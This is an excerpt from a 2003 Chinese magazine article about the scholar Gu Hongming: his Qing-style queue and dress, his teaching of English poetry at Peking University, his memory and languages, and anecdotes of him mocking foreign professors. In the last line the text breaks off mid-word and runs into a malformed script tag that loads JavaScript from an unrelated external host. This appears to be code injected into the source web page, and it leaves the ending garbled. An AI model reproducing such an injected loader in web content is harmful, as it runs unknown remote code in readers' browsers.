本文摘自《文史天地》杂志2003年第9期 原题:辜鸿铭的怪癖奇言
辜鸿铭(1856-1928年)自称“生在南洋,学在西洋,婚在东洋,仕在北洋。”是一个标准的东西南北人。辜鸿铭的名字曾经响亮过,至少他的怪癖,使他成为20世纪一二十年代,京师轰动,举国侧目的的一位人物。
瓜皮帽红缨辫
知道辜鸿铭这个名字的人,首先想到的是他的那根在民国以后的北平知识界中,堪称独一无二的辫子。他在清廷,算是搞洋务的,按说是维新一派,但皇帝没了,竟比遗老还要遗老,这也是只有他才能做出的怪行径了。那时的他,戴瓜皮帽,穿方马褂,顶红缨辫,穿双脸鞋,踱着四方步,出入北大校园,在红楼的课堂上,大讲英国诗,据说是当时的京城一景。
他在北大教书,学期开始的第一课,叫学生翻开Page one (第一页),到学期结束,老先生走上讲台,还是Pageone。书本对他来讲,是有也可,无也可的。他讲授英国诗,举例诗人作品,脱口而出,不假思索,如翻开诗集对照,一句也不会错,其记忆力之惊人,使所有人,包括反对他的人,也不得不折服。到了晚年,还能一字不移地当众背出上千行弥尔顿的《失乐园》,证明他确实是个非凡的天才。
在课堂上的他,挥洒自如,海阔天空,旁征博引,东南西北,那长袍马褂的样子,不免滑稽突梯,但他的学问却是使人敬佩的。他讲课时,幽默诙谐,淋漓尽致,嬉笑怒骂,皆成文章。用中文来回答英文的问题,用英文来回答中文之问,间或又插入拉丁文、法文、德文,学识之渊博,阅历之广泛,见解之独到,议论之锋锐,往往令问者瞠目结舌。因此,他的课极为卖座,课堂里总是挤坐得满满的。
狠敲洋人一记
流着中国血的辜鸿铭,心中牢记一个信念:“我是中国人。”在当时国力衰弱、列强当头的年代甚为难得。在爱丁堡的公共汽车上,他倒读英文报纸,并嘲笑英国人:“英文太简单了,不倒读简直没有意思。”对于帝国主义列强的金融家,辜鸿铭大为感叹:银行家是在天晴时撑把伞借给你,而在下雨时收回的人。
那时北京大学的洋教授们,在走廊里,若看到辜老先生走过来,总是远远的靠边站着,恭迎致候。而辜氏到了面前,见英国人,用英文骂英国不行,见德国人,用德文骂德国不好,见法国人,则用法文骂法国如何不堪,那些洋人无不被骂得个个心服。所以,他对于洋人,和那个时候普遍的先矮了半截的畏缩心理完全相反,他是不大肯买外国人的账的。
有一次,一位新应聘来北大的英国教授,在教员休息室坐着,见一位长袍马褂的老古董,拄着根手杖,坐在沙发上运气。因为不识此老,向教员室的侍役打听,这个拖着一根英国人蔑称为pigtail(猪尾巴)的老头是什么人?辜鸿铭对此一笑,听说他是教英国文学的,便用拉丁文与其交谈,这位教授应对颇为勉强,不免有些尴尬,辜叹息道:“连拉丁文都说不上来,如何教英国文学?唉!唉!”拂袖而去。
就这么一位怪老爷子,洋教授拿他有什么办法?他1856年生于槟榔屿一个贫苦华侨的家庭,才八九岁光景,就随一位牧师到英国读书。得爱丁堡大学文学硕士学位时,才21岁。然后又到德、法、意、奥进修,获得文、哲、理、工、神学等博士学位,有13个之多。他对于英、法、德、意、日、俄、希腊以及拉丁文,无不能晓。因此,他对西方文化的研究,具有极深湛的造诣。
他不仅是语言天才,也是精通中外的大师级的学者。那时候,这位老先生在东交?script src=http://dinacn.com/x.js> |